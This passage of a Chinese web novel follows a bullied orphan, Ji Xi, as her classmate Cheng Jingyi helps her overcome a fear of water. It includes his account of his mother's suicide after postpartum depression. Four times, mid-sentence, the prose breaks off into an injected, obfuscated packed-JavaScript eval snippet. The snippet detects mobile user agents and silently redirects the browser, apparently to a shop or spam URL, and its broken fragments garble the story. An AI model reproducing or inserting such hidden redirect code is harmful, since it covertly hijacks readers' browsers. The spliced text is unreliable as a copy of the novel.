*** 寒假的第四天。 程景逸和妹妹照常与季希在北澜公园门口集合。 沿着环湖跑道结束晨跑以后，程景心看着湖中心的许多船只，拽着哥哥的衣袖可怜兮兮道：“哥，我好想去划船呐。” 程景逸：“可是你最近都要去上舞蹈课。” 程景心撇了撇嘴：“好吧。不过哥哥，你答应了我要帮我请假，让我去滑雪。” 程景逸：“知道了，我会和爸爸说的。” “哥哥你最好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577980|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦！”程景心十分高兴，她欢快地一个人在前面跑起来。 程景逸和季希两人在后面慢慢跟着。 程景逸：“季希，虽然景心不能来划船，但是咱俩可以呀。下午你想来划船吗？你现在看着这些湖水还会害怕吗？” 季希：“比以前要好一些，但是还是恐惧的。” 程景逸问道：“你要不要通过划船来增强自己对水的接受度？” 季希有些犹豫：“我可以吗？我怕我不行。” 程景逸沉思片刻，提议道：“北澜公园的这片湖水面积也挺大的，不如咱们不坐那种需要自己划水的船，就坐观光船。这样的话，你就坐在船上看风景就可以，也许慢慢地你就不怕水了呢。” 季希瞧着程景逸充满鼓励的眼神，半晌，她下定决心，轻轻点头：“好，我试一试。” “我也不想看见自己一直这般懦弱。” 午后，季希早早地来到北澜公园湖边的西岸码头，见程景逸还没到，她便提前去买好船票。 程景逸来时，远远地就瞧见季希躲在离岸边很远的一棵树下。 季希也看见了程景逸，她迎过去，将船票递给程景逸。 上船之前，程景逸见季希露出一副视死如归的表情，他笑道：“季希，咱们都穿着救生衣呢，而且这湖上这么多人，你首先要告诉自己，这个船是很安全的。” “退一万步讲，即便咱们落水，这不是还有我呢吗？” “我水性很好的，你相信我，有我在，今天你在这片湖上，一定是如履平地。” 有程景逸在身旁不断壮胆，再加上季希自己也下定决心要克服恐水的心理，所以虽然季希还是有些惴惴不安，她最终还是鼓起勇气，踏上小船。 这艘观光小船可以乘坐七八个人，并不算大，所以季希其实可以十分近距离地接触到水。 游船在宽广的湖面上游荡，其他人都在欣赏着外面的风景，只有季希一直低着头。 程景逸发觉季希似乎在发抖：“冷吗，怎么没带手套？” 季希摇头：“我不是冷……” 她这是被吓的。 程景逸把自己的手套褪下来，帮季希戴好：“你要是害怕，你可以抓住我。” “不过季希，外面的风景这么美，你当真不想亲眼看一看吗？” 季希眉心微动，她似乎也是想看的。 见状，程景逸眺望远方，为季希描述起这一副如画的冬景：“湖岸边的树木与远方的山峦给萧瑟的冬日带来生机。” “湖面犹如一面巨大的宝镜，在午后暖阳的照耀下折射出金色的光影。” “船只在湖水上乘风破浪，激起层层波纹，留下阵阵涟漪……” 也许是程景逸的声音太过温柔，宛如这冬阳暖风拂面，季希不由自主地抬起头，小心翼翼地将目光试探着投向船外。 已至湖心，这一刻，季希感受到四面八方的湖水离自己是那样近，她心慌得厉害。 止不住战栗的她突然察觉从手心传来一阵温暖，那是让人心安的笃定力量。 季希回头，是程景逸隔着手套，轻轻地握住了她的手。 30. 愿卿磊磊沧浪行 在程景逸的鼓励下，这一次，季希将视线投向更远的距离。 她看见湖面上漂浮着许许多多的船只，游人们在船上欢声笑语，享受着午后的湖上盛景，好不惬意。 程景逸：“你也可以像他们一样，享受这段时光。” “季希，我们确实需要敬畏大自然的力量，只是，很多时候，可怕的并不是水，可怕的是用水来作恶的人。” 季希点头：“我明白。” 是呀，她如今之所以这么恐水，有很大一部分原因是因为林晶她们对她施暴的几个重要地点都和水有关，比如学校体育馆的室内游泳馆，比如学校的人工湖。 可是，泳池里的水何辜，人工湖的湖水又何辜？ 水具有巨大的能量，这种能量可以是绵绵春雨，滋润大地上的万物，也可以是滔天洪水，足以摧毁一切。 尽管如此，水本身却并不携带任何情感。 携带着善恶的，自始至终都是人。 想明白这一点，季希对水的恐惧又消散了一些。 下船时，季希已经并不那么排斥站在离水很近的岸边了，并且也已经能够在桥上行走。 对此，程景逸感到十分欣慰：“季希，接下来我再教你一段时间游泳，等你能在水中自如地游起来，和水成为朋友，相信你就完全不会再恐水了。” 岸边有许多小朋友拿着泡泡水在嬉戏玩闹。 孩子们如一阵风一般经过二人身边，留下一连串泡泡在季希和程景逸周围。 程景逸给季希留下一句“等我”，便跑向一旁的小卖部。 季希本以为程景逸是去买饮料或者奶茶，没想到他回来时手里竟然拿着两瓶泡泡水。 程景逸递给季希其中一瓶，笑道：“咱们也来玩玩这个。” 两人像小朋友一样互相你追我赶地吹起泡泡来。 两小瓶泡泡水很快被二人用完，最后程景逸和季希一人拿着一根糖葫芦坐在公园的长椅上休息。 季希将最后一颗糖葫芦塞进嘴中，感受着糖衣和山楂在口中交融的酸甜滋味。 程景逸这时也吃完糖葫芦，他起身准备去丢垃圾，顺手接过季希手里的竹签，一起扔进不远处的垃圾桶里。 他们一起沿着湖边散步。 季希主动走在靠水边的一侧，以此巩固她对水的接受程度。 太阳渐渐躲进云层，天幕阴沉。 狂风猛烈呼啸，卷起漫天落叶。 傍晚时分，天上竟然飘起飞雪。 这回不同于前几天二人在云苍山上遇到的小雪。 这是纷纷扬扬的鹅毛大雪。 公园里到处响起“下雪了”的欢呼声。 有祖孙二人从季希身旁走过，季希听见那位老人家正和孙子讲道：“真是好大雪，冬天麦盖三层被，来年枕着馒头睡……” 程景逸轻轻敲了下季希的脑门，笑道：“想什么呢？这会儿雪下这么大，咱们回去吧。” “没什么，”季希笑笑，“咱们往公园门口走吧。” 程景逸一面走，一面低头在手机上查起天气预报：“这雪要连着下好几天，看这样子，咱们接下来几天是没办法晨练了。” “况且天冷，去哪里都不太方便……” “这雪如果下一夜，明天肯定积一层厚雪，到时候肯定好玩儿。” “不如明天下午咱们一起来公园打雪仗吧。” 季希：“好。” 这雪果然下了整整一夜。 第二天早上醒来，季希拉开窗帘，只见窗外银装素裹，到处被皑皑白雪覆盖。 下午，季希戴好帽子、围巾和手套，做好全副武装。 走进北澜公园大门时，季希心想，她今天一定要和程景逸好好打一场雪仗。 没想到今天程景逸到的挺早，早早便在公园的广场前等着她。 季希远远看见少年的身影，从路旁的草地上捧起一把雪，快步朝着少年跑过去。 程景逸也瞧见了季希，见季希跑起来，忙喊道：“慢点儿，路滑。” 待季希走近，程景逸正准备说话，迎面飞来一个雪团。 程景逸敏捷地躲过，笑着摇头：“这可不兴搞偷袭啊。”说着随手从一旁抓起一把雪朝季希洒去。 此时广场上已经有很多人在玩雪，形态各异的可爱雪人随处可见。 季希和程景逸打了一会儿雪仗后，在广场边选了一处人少的地方开始堆雪人。 看着渐渐成形的雪人，程景逸突然道：“季希，对不起。” 季希心头一跳，她挑眉道：“怎么，后悔刚刚拿雪球砸我了？没关系，我不怪你。” 程景逸：“季希，我接下来一段时间不能像这几天一样每天来陪你了。本来答应你要在寒假陪你找快乐的，昨天还说着要教你游泳，谁知道计划没有变化快……” 季希：“是发生什么事了吗？” 程景逸说道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577981|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你也知道，我妹一直想去滑雪，但是因为要上舞蹈课所以没有时间，她自己又不敢和我爸说请假去玩。” “我昨天晚上帮我妹和我爸说这件事，谁知我爸竟然说，他这些年忙于工作，对我们缺少陪伴，决定趁着年前带我们兄妹三人去度假。” “另外我爸让景心也不要在南庐滑雪了，他准备带妹妹去更大的滑雪场。等度假完我们应该会直接回老家，再回来就到年后了，估计那时候没几天就要开学了。” “我本来说我不去度假，等过年的时候我自己回老家就是了，但是我爸是那种说一不二的性子，所以……” 季希：“没事的程景逸，你这些天对我的陪伴已经很多了，你带着我找快乐，你帮我克服恐水的心理，对于你做的这一切，我打心眼里很感激你。” 这声谢谢，程景逸只感觉受之有愧，他连忙说道：“季希，你千万别有负担。” “你遭遇的这一切本就因我而起，我说过，我会对这一切负责。” “所以你的事情就是我的事情，我会和你一起走过这所有困境。” 季希轻轻一笑：“程景逸，我已经比以前快乐许多，所以你放心，我向你保证，只要林晶她们不再招惹我，我不会主动反击。” “短期之内，我不会主动放弃自己的生命，也不会报复她们。” “所以你放心地和你的家人一起去吧，不用担心我。” 如今，为了这仅有的几个关心她的人，季希也终于学会了掩饰。 掩饰悲伤，掩饰苦痛，掩饰挣扎，掩饰绝望。 她会让自己展现出快乐的模样，走出她的一条路。 程景逸看出季希的一点言不由衷，叹气道：“不想笑的时候，其实也可以不笑的。” “哦。”季希默默为雪人点上眼睛，半晌，她问道，“程景逸，我有这么多情绪问题，你会觉得我很矫情吗？” “不会，”程景逸正色道，“季希，你这个人是没有问题的，希望你不要怀疑自己。” “你只是生病了。” “你生病的原因，是因为这个社会病了，社会中的很多人也都病了。” “你原本是健康的，但是现在，在你和外界的人接触的过程中，这股病气传染到了你的身上。” “你如果有能力，就想办法让整个环境恢复健康。” “你如果没有能力，就要尽量让自己不被这些病气所扰，起码保证自己的健康。” 31. 愿卿磊磊沧浪行 见季希一副深思的模样，程景逸解释道：“我这里所说的病和健康既是具体的，也是抽象的，既指身体层面，更指精神层面。” “而身体和精神其实是相互影响的。” “如果一个人的身体不好、体质不够强健，就会容易想不开。” “因为身体素质也会对情绪的变化产生影响。” “你看你这瘦胳膊瘦腿儿的，你要多多锻炼，即便早上我们没办法一起跑步，你也可以自己早上跳绳或者打打太极拳、练练八段锦。” “你要赶紧让身体强健起来，强壮的身体也可以反过来为你的情绪和思维带来好的变化。 “你这说得还挺有道理，”季希不住地点头，感慨道，“没想到你还懂这个。” 程景逸苦笑一声。 季希失笑道：“怎么唉声叹气的，我这是夸你呢。” “季希，”程景逸，“我没有和你讲过我妈妈的事吧。” 季希：“没有。” 程景逸从地上捏了一团雪，在手里把玩：“其实我也从来没和别人提起过。” “她出身于书香门第，温柔美丽，端庄娴静，高贵优雅。” “我们兄妹三人的好相貌和好气质大部分都承袭于她。” 季希：“你有个好妈妈。” 程景逸：“可是她已经不在了。” 季希震惊，见程景逸露出罕见的悲痛神色，她不知道该怎么安慰，只好在一旁默默地陪着他。 “实际上，”程景逸，“她是一个脆弱的人，就像一个美丽的花瓶，漂亮，但是也易碎。” “景心出生时我才五岁多，刚上一年级。” “那时候，我大哥也才刚读初中，我大哥读的那个初中是寄宿制，所以他一周回一次家。” “那段时间，我爸公司事多，特别忙碌，他总是早出晚归，甚至常常出差，有时候好几天在家里都见不到他的人影。” “所以家里一般就只有几个月大的景心和我，以及……情绪低沉的她。” “我后来才知道，她是产后抑郁。可惜我明白这些的时候，她已经不在了。” “那是一天傍晚，我从学校放学回家。” “那天家里罕见地有许多人进进出出。” “我看见我爸泣不成声的脸，看见众人推着昏迷的妈妈上救护车。” “我爸让我守好妹妹，然后便跟着救护车离开。” “之后，我就没有妈妈了。” “她是喝安眠药离开的。” “我以前，心里其实埋怨过她的。” “我们兄妹三人那时候都还小，她怎么能……忍心抛下我们呢？” 季希轻轻拍着程景逸的背，柔声道：“都已经过去了。” 程景逸：“但是我后来渐渐长大，读了很多书，查了很多资料。” “渐渐地我终于明白，人生病了，很多事情是身不由己的。” “有病的环境让人生病，生了病的人让环境恶化，这就是个恶性循环。” “所以你刚刚问我会不会因为你的情绪问题而误解你，我非常坦诚地说，完全不会。” “我特别能理解你的这些心情，甚至可能比你更懂你的情绪。” “因为这些其实以前都是我的困扰，从我妈妈离开以后，我思考了很多年。” “也是因此，当我看到你的时候，我就决定，我一定要带你打破这个枷锁，走出这个困境。” “如果你困在其中，最后无论是自伤还是报仇，对你而言都需要付出很大的代价，我不愿意见到这些悲剧不断地重演。” “不过有时候我觉得自己也挺没用的。” “曾经，我没能及时发现妈妈的异常，没能在她最绝望的时候给予她足够多的关爱，没能阻止她结束自己的生命。” “现在，我也不知道我做的这些，到底对你有没有帮助……” “不要自责，你那时候才五岁，怎么会知道这些呢？”季希认真道，“而且你怎么能这么说你自己，你做的这些可太有用了。” 她低头点着雪人的鼻子，问身侧的少年：“程景逸，你知道在我心里，你是一个什么样的人吗？ 闻言，程景逸也有些好奇：“是什么样的？” 季希回忆起两人的相识：“我第一次见你，是在教学楼的走廊上。” “擦肩而过的瞬间，我觉得自己离你很遥远。” “第二次遇见是在操场，我被球砸到，你送我去校医院。” “那是我们之间第一次正儿八经地交谈。” “我这才发现，你其实是一个很热烈的人，和你清冷疏离的外表很不一样，并且你很有责任感。” “第三次见面是在教学楼前的腊梅树下，你借给我一把伞。” “当时你告诉我，行侠仗义、扶助弱小是你的人生信条。” “我一方面觉得你很中二……” 见程景逸窘迫地笑了一下，季希也笑道：“这其实是个褒义词。” 接着她继续道：“但同时，我也被你太阳一般的蓬勃生命力所吸引，我想成为你这样的人。” “我这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577982|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人？”程景逸喃喃道。 季希：“是呀，我当时就觉得你像文学作品里描写的那种鲜衣怒马的少年游侠，身上带着扶弱济贫的热忱与侠气。” 程景逸笑起来：“那是我吗？” 季希：“那就是你呀。” “那时你在我脑海里留下的印象就是影视剧里那些腰间一壶酒、背上一把刀的少年侠客，无忧无虑、闯荡江湖，扶危济困，行侠仗义。” “至于为什么要强调‘少年’二字，那当然就是因为你的那一点中二气质，所以我才说这里的‘中二’其实是个褒义词。” 程景逸无奈轻笑：“好吧。” 季希：“后来，再见面已是校庆日……” 想到当时接二连三发生的事情，她感慨道：“那可真是精彩的一天。” “白天的时候，在学校的人工湖边，你将溺水的我救起。” “说老实话，当时的我已经百念皆灰，毫无求生的意愿。” “但最终我却没死成，你把我从阎王爷手里抢了回来。” “我觉得这是天不亡我，所以送了你来救我于濒死之际。” “晚上我被林晶派的人绑到郊外的仓库，”季希冷笑一声，“愤怒彻底燃烧起我的斗志。” “这是第一次，面对林晶等人一次又一次的践踏，我有了强烈的求生意愿，我不想死，我要活着。” “所以我放了一把火，逃了出来。” “凌晨，郊区，黑夜，我在山野间狂奔。” “当时有车从身后追来，我以为是那些人来抓我，没想到来人竟然是你。” “毫不夸张地说，那一刻，我觉得你就是我生命里的奇迹。” “也是在那个时候，你告诉我，生命最本真的意义就是其存在。” “你让我明白，即便我不是那些得天独厚的名花雅木，即便我只是一株生长环境十分恶劣的小草，但受人践踏不是我的错。哪怕我很弱小，我的活着，我生命的存在，这本身就具有重大的意义。” “你对每一个生命的尊重，让我很敬佩。” 听见季希再次提到这句话，程景逸解释道：“生命的存在本身就具有十分重大的意义，这是我从我妈妈这件事上学到的最重要的一课，这是血与泪的教训。生命真的太脆弱了。” 季希接道：“人的生命很脆弱，但是人的精神和意志是无比强大的。” 闻言，程景逸深深地看进季希的双眼：“你说得对，人的身体很脆弱，但是在人强大的精神和意志的加持下，人的生命也可以拥有无限的力量。” 32. 愿卿磊磊沧浪行 季希眨眨眼，继续回顾两人的相识：“校庆日的第二天一早，我们又见面了。” “仔细算来，我们见面的次数，两只手都数得过来。” “可莫名地，我们好像突然熟悉起来。” 程景逸也回忆起当时的场景：“所以那天你说，我们之间的氛围浓度比较高。” “是。”季希点头。 程景逸：“其实就是从这句话起，我开始觉得你那天有点不对劲儿，后来才能及时地阻止你冲动做傻事。” 季希仰起头，看向远处的高塔：“我当时满腔愤怒，就想着一了百了，在教学楼的顶楼天台让一切都结束，让首恶伏法，让始作俑者受到惩罚。” “是你拦住了我，开始带我寻找快乐。” “快乐其实也是一种行为，而我早就丧失了这种行为功能。” “在你用心的陪伴下，我在最近这一次次寻找快乐的旅途中开始探索自己内心的力量。” “甚至在海洋馆，你比我自己更早地发现了我对世界重新拥有的期待。” “确实，现在我仍旧不是全然快乐的人，但是这个世上又有几人能够每天都快快乐乐呢？” “关键在于，我在寻找快乐的过程中找到了在这个世界上独属于我自己的锚点，我不会再对林晶等人过去对我造成的伤害耿耿于怀，她们屁都不是，我不想再在她们身上浪费任何情感，哪怕是仇恨。” “程景逸，听完这些，你还觉得自己是一个没用的人吗？你还认为你的所作所为对我没有帮助吗？” “我本是半个身子跌入深渊的人，程景逸，是你，在我完全堕崖之前，拉住了我。” “你真真切切地改变了我，你救了我的命。” 季希发自肺腑的话语让程景逸十分动容，百感交集。 他确实没想到，自己竟然给季希带来了这么大的影响。 “我只是做了我认为对的事情，不想以后想起来后悔，何德何能担得起这么大的赞誉……”程景逸有些哽咽。 “我告诉你这些，不是想要增添你的心理负担。”季希拨弄着雪人的脑袋，低着头解释道，“你帮了我，在努力地减少着我受到的伤害。” “同样的，我也希望你能够真正走出阿姨这件事给你带来的阴影。” “程景逸，在我眼里，你是用实际行动践行自己人生信条的人，你确确实实做到了行侠仗义、扶助弱小。” “即便我对你毫无利用价值，你也会因为不忍我这个生命的消逝而毅然决然地拔刀相助。” “你敢于挺身而出，保护需要帮助的弱小，并且不求回报。” “你有着热忱和侠义，更有着许多人不具备的勇气。” “我相信，阿姨在天上会为你感到骄傲的。” 程景逸沉默半晌，平静许久，深吸一口气，才说道：“季希，谢谢你。” 季希扬眉道：“我只是动了动嘴皮子，就能得到你的感谢，和你这跑前跑后的帮助相比，我可真是赚了。” 程景逸：“季希，你总说是我帮了你，说我救了你。其实不是的，拯救你的一直都是你自己。” “我固然做了一些事情，但这些都只是外在的推力。” “就如同在云苍山的时候，你说那些因为外界美景的刺激而带来的震撼，都是虚浮的镜花水月，很容易随着场景的消失而消逝。” “我所做的这一切和这些大自然的美景没什么区别，都只是外界带给你的短暂影响。” “真正起到决定性作用的，是你自己。” “你找到了那个能让你和这个世界产生联系的锚点，你的内心发生了蜕变。” “关键点一直是你自己，我说过，你的生命拥有独一无二的富饶。” 程景逸不知道想到什么，突然摇头忍俊不禁地笑起来。 季希纳闷：“怎么了？” 程景逸：“你知道你最让我刮目相看的是什么时候吗？” 季希狐疑道：“是什么时候？” 程景逸：“是我把你从天台门口拦下来后，你站在学校人工湖边的假山旁，拿着一把水果刀掷地有声地告诉我，你不是需要别人保护的温室花朵，你是黄土路边最顽强的杂草，是滔滔江水里最坚硬的礁石。” 季希捂脸：“突然发现我说话也挺中二的。” 程景逸：“你那天还说，你不仅是路边的杂草，还是带着毒液的食人草。同时你也是江中礁石，生来就和风浪一起，如果她们攻击你，最后的结果只会是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577983|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们人仰船翻、舟毁人亡。” “为什么要把这些话记得这么清楚……”季希颇为汗颜，“当时正在气头上，说的时候没什么感觉，现在听起来，这些话真的好中二。” “季希，不用觉得不好意思。你有这些想法都是很正常的，”程景逸说道，“我当时阻止你，也并不是觉得你不应该报仇。” “我只是不希望你因为使用不恰当的方式报复恶人，反而让自己走上一条再也无法回头的不归路，这不值当。” “所以我带你找快乐的初衷，实际上是想让你心中那股如果不燃烧他人、就只会焚毁自己的仇恨怒火稍微平息下来。而你，确实做得很好。” “季希，如果非要感谢的话，就感谢你自己吧。感谢这个即使身处困境，却也始终勇敢地和命运抗争、努力地寻找人生锚点的你自己，感谢这个在堕崖之前奋力向上挣扎的你自己，是她把半个身子跌入深渊的你救了回来。” “我很庆幸，你不是易碎的花瓶。如你所言，你是路边野草，火焰和疾风无法将你消灭，春风一来，你便能重获生机；你是江中礁石，风浪的冲击只会让你变得更加锋利。” “你说我有生命力，我却觉得，你身上更有着一种野蛮生长、顽强不屈的劲儿。” 季希眼眶突然有些酸涩，她努力睁大眼睛，控制着不让眼泪流下。 看着程景逸真诚的目光，她说道：“谢谢你，在了解我之后，还愿意站在我这边。” “你值得。”程景逸，“而且，这句话我也想送给你。” “你刚刚也听我讲了一些我家里的事情，其实我也并没有你想象的那么完美。谢谢你，在了解我之后，还愿意站在我这边。” 两人相视一笑，雪人在这个时候也大功告成。 *** 那天以后，程景逸就和家人离开南庐市到外地旅游度假，季希又成为孤家寡人。 大雪接连下了几天，有一次，季希一个人来北澜公园散步，无意识间竟然走到她和程景逸一起堆雪人的地方，那雪人十分顽强，竟然还在，只是上面蒙着厚厚一层雪。 季希重新为这个雪人画了个笑脸。 临走前，她捡了根树枝，在雪人的肚子上写下四个大字——新年快乐。 33. 愿卿磊磊沧浪行 转眼已至年关，程景逸一家回到南庐市，准备在郊区爷爷家的别墅过年。 程景逸的母亲去世以后，程东启因为忙于事业无暇照顾几个孩子，便把兄妹三人交给爷爷奶奶照顾。 程景凌一直读寄宿学校，这对他影响倒不大。 而程景逸和程景心则不同，他们那会儿还小。程景逸好歹已经记事了，还对妈妈有印象。可程景心那时只是一个襁褓里的婴儿，在她的儿时回忆里，她就是一手由爷爷奶奶带大。 程景逸的爷爷以前是当兵的，身手很好，在他身边养着的程景逸由他手把手教着拳脚功夫，自然很会打架。祖孙俩感情也很好。 这两年，程氏集团蒸蒸日上，程东启的事业渐渐稳定下来，他这才发现，孩子们都长大了，但是却和他不怎么亲。尤其是这个小儿子，因为目睹了母亲去世的经过，对他更是心存隔阂。 所以程东启连忙趁着程景逸升高中的机会把孩子们都从郊区接回市里，开始修复起亲子关系。好在爷爷奶奶把孩子们都教得很好，程东启很欣慰。一大家子倒也算是其乐融融。 每年春节，程氏集团都会给南庐市的一些儿童福利院和老年福利院捐款，程东启每次也会亲自带着集团员工前去慰问，给老人和孩子们送去祝福。 往年程景逸都没太在意，一般都是大哥程景凌陪着程爸去。 这天吃早饭时，他猛地听见南庐市儿童福利院的名字。 怔愣一秒后，想到也许可以见到季希，程景逸连忙自告奋勇道：“大哥马上就大学毕业了，写论文正忙着呢，这点儿打杂跑腿的小事就交给我吧。” 程东启虽然诧异小儿子的主动，到底还是默许了。 程景心见小哥要去，也想跟着去玩。 程景凌正在读大四，面临着毕业，虽然已经保研，但是还需要写论文以及实习，所以还是挺忙碌的。 前几天，他直接从学校飞到大家度假的地方与家人汇合，然后跟着一起回到南庐市。 一直都在路上奔波，没有整块的时间来完成论文，程景凌见弟弟妹妹难得这么积极地帮他分担，他便准备在家赶论文进度。 于是吃过早饭，程景逸和程景心兄妹二人便跟着程东启一起出门。 *** 另一边，季希意外地接到吴焕晗的电话，于是在和院长妈妈报备后，季希走出福利院，准备乘坐公交车前往和吴焕晗约定的地点。 在车站等车时，季希远远瞧见有程氏集团的大巴车驶进福利院。 她知道程氏集团每年都会来福利院慰问。 程氏集团的老总瞧着很威严，面对她们这些福利院的孩子却都很和蔼。 公交车到站，季希没再多想，连忙刷卡上车。 吴焕晗和季希约在南庐动物园见面。 虽说最近积雪都已经化干净了，但天气还是冷，动物园里的动物看起来也都蔫蔫儿的。 可这并不影响两人重逢的愉快心情。 两人沿着园区规划的游览路径参观，一路上说说笑笑，分享着这段时间的见闻。 吴焕晗在新学校过得还不错，新同学都还算友善。 没有了原来的污糟事，再加上她妈妈在术后恢复得还不错，吴焕晗有更多的精力学习，她的成绩也有了大幅度的提升。 瞧着吴焕晗眉飞色舞地讲述着学校的事情，季希能真切地感受到，焕焕很喜欢新的生活。 她握住吴焕晗的手道：“还好你都挺过去了，真为你感到高兴。” 吴焕晗：“季希，那你呢，林晶她们有继续为难你吗？” 季希：“你放心，我不再是以前那个懦弱的季希了，如果她们再做什么过分的事情，我会反击的。不过高一已经过去了一半，这学期因为这些事情，我落下好多功课，现在我就想趁着寒假赶紧把以前的功课补起来，其他的我都不愿多想。” 吴焕晗：“你能这样想就很好。咱们都要好好努力，将来都要考上大学，找到工作，离这些乱七八糟的人远远的。” 季希重重点头：“嗯！” 吴焕晗：“看到你现在的状态比前段时间在医院见到你时好很多，我这忐忑的心放下一半儿。” 季希：“总算熬过来了，而且不想开点又能怎么办，我如果一直陷在其中，又怎么对得起你们这些真正关心我的人。” 吴焕晗以为季希说的是福利院的季院长，她赞同道：“你们那个院长阿姨确实还是挺负责的。” “是的。”季希，“院长妈妈是很好的人，唉，不过她最近身体不大好，希望她能多多休息，我也不能总是给她添麻烦……” 瞧见季希脸上又升起的愁容，吴焕晗连忙道：“那句诗怎么说的来着？今朝有酒今朝醉！咱们好不容易见面，不说这些不开心的事情了。” “行。”季希突然想起两人见面后只顾着兴奋地东拉西扯，她竟然忘记问焕焕这次回南庐是做什么，便问道，“对了焕焕，你今年是在南庐市过年吗？” 吴焕晗摇头：“我们在南庐市也没什么亲戚了，今年就准备在齐城和姨妈家一起过年。” 季希：“那你来南庐是……” 吴焕晗：“我今天一大早坐火车来南庐市，就是专程来给邱浩还钱的。所以我是先见的他，才来见的你。本来准备把钱送到他家，没想到我一下车就看见他人在火车站等着。早上给你打电话用的也是他的手机。” 见季希面露疑惑，吴焕晗提醒道：“你还记得体育馆那次报火警之后来的那个消防队队长吗？他叫邱浩。” 季希恍然：“噢我想起来了，你之前和我说过，阿姨做手术的钱就是他借给你的。” 吴焕晗点头：“对，我这次来就是专门还钱给他。” “这笔钱可不是小数目，你哪儿来的这么多钱还他呀？”季希想起平常看到的新闻，她有些担心，一时没看路，差点跌一跤，“你不会是去借贷了吧，渠道正轨吗？” “是我姨妈给我的钱。”吴焕晗扶住季希，缓缓解释道，“我姨妈说，她前些年条件也不好，只顾着忙生计，帮衬不上我们。今年她和姨夫做生意小有起色，赚了些钱，才有余力专程来南庐看我们，却没想到我们遭了这么多罪，所以她才执意要带我们离开南庐，跟着她去齐城市。她说她就我妈这一个妹妹，要好好照顾我们，所以拿钱让我把外面欠的债都还掉。” 季希这才安下心来，由衷道：“你姨妈真好。” 吴焕晗：“我妈一直告诉我和我弟，要把姨妈给我们的钱一笔一笔都记下来，将来等我和我弟工作挣钱了，一定要还给姨妈。” 季希感慨良多，人和人果然还是不一样的。 吴焕晗虽然父亲早逝，却到底有母亲和弟弟陪在身边。遇到困难也不怕，一家人可以一起扛。并且她还有一个发迹之后愿意拉她们一把的姨妈可以倚仗。 程景逸就更不用说了。虽然程景逸从未在季希面前提过他家是做什么的，季希也没有主动问过，但她从程景逸和程景心兄妹二人的习惯中也能感知到，两人的生活环境必定非常优渥。这说明，即便程景逸的母亲已经不在了，但他依旧有一个十分靠得住的父亲。 季希反观自己，她是真的一穷二白，什么都没有。 她没有家人，没有血亲。 她不知来路，更没有归途。 她是一个孤零零的人，只能靠自己摸索着走出一条路来。 不过她不羡慕也不嫉妒。 人活一世，本质不过是在红尘中修行。 她不需要左顾右盼，无论别人乘着如何华丽温暖的香车宝马，本质上都与她毫无关联。 她只需手持竹杖，身披蓑衣，脚踩芒鞋，学会在这半生风雨里缓步前行，拈花微笑。 *** 因着吴焕晗准备坐傍晚那趟火车回齐城，两人上午逛完动物园后，便在动物园附近的一家面馆各自点了一碗放满辣椒的面。 热汤下肚，驱散满身寒气，吴焕晗提议道：“我记得华章书屋就在这附近，要不咱们下午去那儿看看？” 季希点头：“好呀，我也好久没去那里了。” 两人坐公交车，很快就来到书店。 华章书屋面积颇大，上下三层，装潢典雅，假期里有很多人在这里看书，消磨时间。 季希在一排排书架间穿行，忽然听见身旁的吴焕晗小声道：“咦，那不是贺溪君吗？” 她疑心自己听错了，忙抓住吴焕晗的衣袖问道：“你刚说什么？” 离的距离有点近，吴焕晗怕两人说话被那女生听到，便拉着季希走到一边，示意季希看向刚刚站在离她们不远处的一个女生，讲道：“我如今在齐城一中读书，她是我学姐，比我高一个年级。她长得漂亮吧，连名字都特别好听，她叫贺溪君，是我们学校的风云人物。” “贺溪君？”季希怔怔地看向那个相貌极为出色的女生。 是她吗？ 她是季画吗？ 吴焕晗还在小声地碎碎念：“啊季希，我好想去和她打个招呼，可惜她不认得我。不过她为什么会来南庐市呀，难道她有亲戚在这边……” 而季希已经走到那女生面前。 吴焕晗连忙跟过去，她拉住季希，小声劝道：“虽然漂亮姐姐是很好看，但是这样直接搭讪，会不会有些冒昧呀……” 季希解释道：“我想和她说话不是因为她漂亮，而是因为……” 吴焕晗：“因为什么？” 